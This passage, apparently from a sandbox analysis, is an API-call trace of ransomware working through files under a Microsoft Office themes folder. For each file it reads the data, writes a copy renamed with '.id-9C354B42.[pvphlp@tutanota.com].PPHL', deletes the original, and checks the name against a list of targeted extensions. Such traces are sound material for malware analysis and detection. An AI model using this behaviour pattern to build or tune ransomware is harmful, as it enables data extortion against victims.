(in: hFile=0x224, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0077.883] SetEndOfFile (hFile=0x224) returned 1 [0077.883] CloseHandle (hObject=0x224) returned 1 [0077.883] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.883] SetEndOfFile (hFile=0x218) returned 1 [0077.884] CloseHandle (hObject=0x218) returned 1 [0077.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.885] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0077.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0077.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0077.885] lstrlenW (lpString=".doc") returned 4 [0077.885] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.885] lstrlenW (lpString=".docx") returned 5 [0077.885] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.885] lstrlenW (lpString=".pdf") returned 4 [0077.885] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.885] lstrlenW (lpString=".xls") returned 4 [0077.885] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.885] lstrlenW (lpString=".xlsx") returned 5 [0077.885] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.885] lstrlenW (lpString=".ppt") returned 4 [0077.885] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0077.885] lstrlenW (lpString=".zip") returned 4 [0077.885] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.885] lstrlenW (lpString=".rar") returned 4 [0077.885] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.885] lstrlenW (lpString=".bz2") returned 4 [0077.885] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.885] lstrlenW (lpString=".7z") returned 3 [0077.885] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0077.885] lstrlenW (lpString=".dbf") returned 4 [0077.885] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0077.886] lstrlenW (lpString=".1cd") returned 4 [0077.886] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0077.886] lstrlenW (lpString=".jpg") returned 4 [0077.886] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0077.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0077.886] lstrlenW (lpString=".doc") returned 4 [0077.886] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.886] lstrlenW (lpString=".docx") returned 5 [0077.886] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.886] lstrlenW (lpString=".pdf") returned 4 [0077.886] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.886] lstrlenW (lpString=".xls") returned 4 [0077.886] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.886] lstrlenW (lpString=".xlsx") returned 5 [0077.886] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.886] lstrlenW (lpString=".ppt") returned 4 [0077.886] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0077.886] lstrlenW (lpString=".zip") returned 4 [0077.886] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.886] lstrlenW (lpString=".rar") returned 4 [0077.886] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.886] lstrlenW (lpString=".bz2") returned 4 [0077.886] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.886] lstrlenW (lpString=".7z") returned 3 [0077.886] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0077.886] lstrlenW (lpString=".dbf") returned 4 [0077.886] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0077.886] lstrlenW (lpString=".1cd") returned 4 [0077.886] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0077.887] lstrlenW (lpString=".jpg") returned 4 [0077.887] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.887] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0077.887] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0077.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0077.887] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=5179) returned 1 [0077.887] CloseHandle (hObject=0x218) returned 1 [0077.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0077.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0077.887] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.888] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0077.907] GetLastError () returned 0x0 [0077.907] ReadFile (in: hFile=0x218, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x143b, lpOverlapped=0x0) returned 1 [0077.940] WriteFile (in: hFile=0x15c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x1440, lpOverlapped=0x0) returned 1 [0077.941] ReadFile (in: hFile=0x218, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.941] WriteFile (in: hFile=0x15c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0077.941] SetEndOfFile (hFile=0x15c) returned 1 [0077.942] CloseHandle (hObject=0x15c) returned 1 [0077.942] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.942] SetEndOfFile (hFile=0x218) returned 1 [0077.943] CloseHandle (hObject=0x218) returned 1 [0077.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.943] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1 [0077.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0077.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0077.943] lstrlenW (lpString=".doc") returned 4 [0077.943] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.944] lstrlenW (lpString=".docx") returned 5 [0077.944] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.944] lstrlenW (lpString=".pdf") returned 4 [0077.944] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.944] lstrlenW (lpString=".xls") returned 4 [0077.944] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.944] lstrlenW (lpString=".xlsx") returned 5 [0077.944] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.944] lstrlenW (lpString=".ppt") returned 4 [0077.944] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0077.944] lstrlenW (lpString=".zip") returned 4 [0077.944] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.944] lstrlenW (lpString=".rar") returned 4 [0077.944] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.944] lstrlenW (lpString=".bz2") returned 4 [0077.944] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.944] lstrlenW (lpString=".7z") returned 3 [0077.944] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0077.944] lstrlenW (lpString=".dbf") returned 4 [0077.944] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0077.944] lstrlenW (lpString=".1cd") returned 4 [0077.944] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0077.944] lstrlenW (lpString=".jpg") returned 4 [0077.944] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0077.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0077.944] lstrlenW (lpString=".doc") returned 4 [0077.944] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.944] lstrlenW (lpString=".docx") returned 5 [0077.944] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.944] lstrlenW (lpString=".pdf") returned 4 [0077.945] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.945] lstrlenW (lpString=".xls") returned 4 [0077.945] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.945] lstrlenW (lpString=".xlsx") returned 5 [0077.945] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.945] lstrlenW (lpString=".ppt") returned 4 [0077.945] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0077.945] lstrlenW (lpString=".zip") returned 4 [0077.945] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.945] lstrlenW (lpString=".rar") returned 4 [0077.945] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.945] lstrlenW (lpString=".bz2") returned 4 [0077.945] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.945] lstrlenW (lpString=".7z") returned 3 [0077.945] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0077.945] lstrlenW (lpString=".dbf") returned 4 [0077.945] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0077.945] lstrlenW (lpString=".1cd") returned 4 [0077.945] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0077.945] lstrlenW (lpString=".jpg") returned 4 [0077.945] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.945] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0077.945] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0077.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0077.946] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=33559) returned 1 [0077.946] CloseHandle (hObject=0x218) returned 1 [0077.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0077.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0077.946] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.946] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0077.947] GetLastError () returned 0x0 [0077.947] ReadFile (in: hFile=0x218, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x8317, lpOverlapped=0x0) returned 1 [0078.000] WriteFile (in: hFile=0x15c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x8320, lpOverlapped=0x0) returned 1 [0078.002] ReadFile (in: hFile=0x218, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.002] WriteFile (in: hFile=0x15c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.002] SetEndOfFile (hFile=0x15c) returned 1 [0078.002] CloseHandle (hObject=0x15c) returned 1 [0078.002] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.002] SetEndOfFile (hFile=0x218) returned 1 [0078.003] CloseHandle (hObject=0x218) returned 1 [0078.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.004] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1 [0078.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0078.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0078.004] lstrlenW (lpString=".doc") returned 4 [0078.004] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.004] lstrlenW (lpString=".docx") returned 5 [0078.004] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.004] lstrlenW (lpString=".pdf") returned 4 [0078.004] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.004] lstrlenW (lpString=".xls") returned 4 [0078.004] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.004] lstrlenW (lpString=".xlsx") returned 5 [0078.004] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.004] lstrlenW (lpString=".ppt") returned 4 [0078.004] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0078.004] lstrlenW (lpString=".zip") returned 4 [0078.004] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.004] lstrlenW (lpString=".rar") returned 4 [0078.004] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.004] lstrlenW (lpString=".bz2") returned 4 [0078.004] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.004] lstrlenW (lpString=".7z") returned 3 [0078.004] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0078.004] lstrlenW (lpString=".dbf") returned 4 [0078.004] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0078.005] lstrlenW (lpString=".1cd") returned 4 [0078.005] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0078.005] lstrlenW (lpString=".jpg") returned 4 [0078.005] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0078.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0078.005] lstrlenW (lpString=".doc") returned 4 [0078.005] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.005] lstrlenW (lpString=".docx") returned 5 [0078.005] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.005] lstrlenW (lpString=".pdf") returned 4 [0078.005] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.005] lstrlenW (lpString=".xls") returned 4 [0078.005] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.005] lstrlenW (lpString=".xlsx") returned 5 [0078.005] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.005] lstrlenW (lpString=".ppt") returned 4 [0078.005] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0078.005] lstrlenW (lpString=".zip") returned 4 [0078.005] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.005] lstrlenW (lpString=".rar") returned 4 [0078.005] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.005] lstrlenW (lpString=".bz2") returned 4 [0078.005] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.005] lstrlenW (lpString=".7z") returned 3 [0078.005] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0078.005] lstrlenW (lpString=".dbf") returned 4 [0078.005] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0078.005] lstrlenW (lpString=".1cd") returned 4 [0078.006] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0078.006] lstrlenW (lpString=".jpg") returned 4 [0078.006] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.006] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0078.006] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0078.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0078.006] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1232) returned 1 [0078.006] CloseHandle (hObject=0x218) returned 1 [0078.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0078.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0078.007] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.007] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0078.009] GetLastError () returned 0x0 [0078.009] ReadFile (in: hFile=0x218, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x4d0, lpOverlapped=0x0) returned 1 [0078.013] WriteFile (in: hFile=0x15c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x4e0, lpOverlapped=0x0) returned 1 [0078.014] ReadFile (in: hFile=0x218, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, 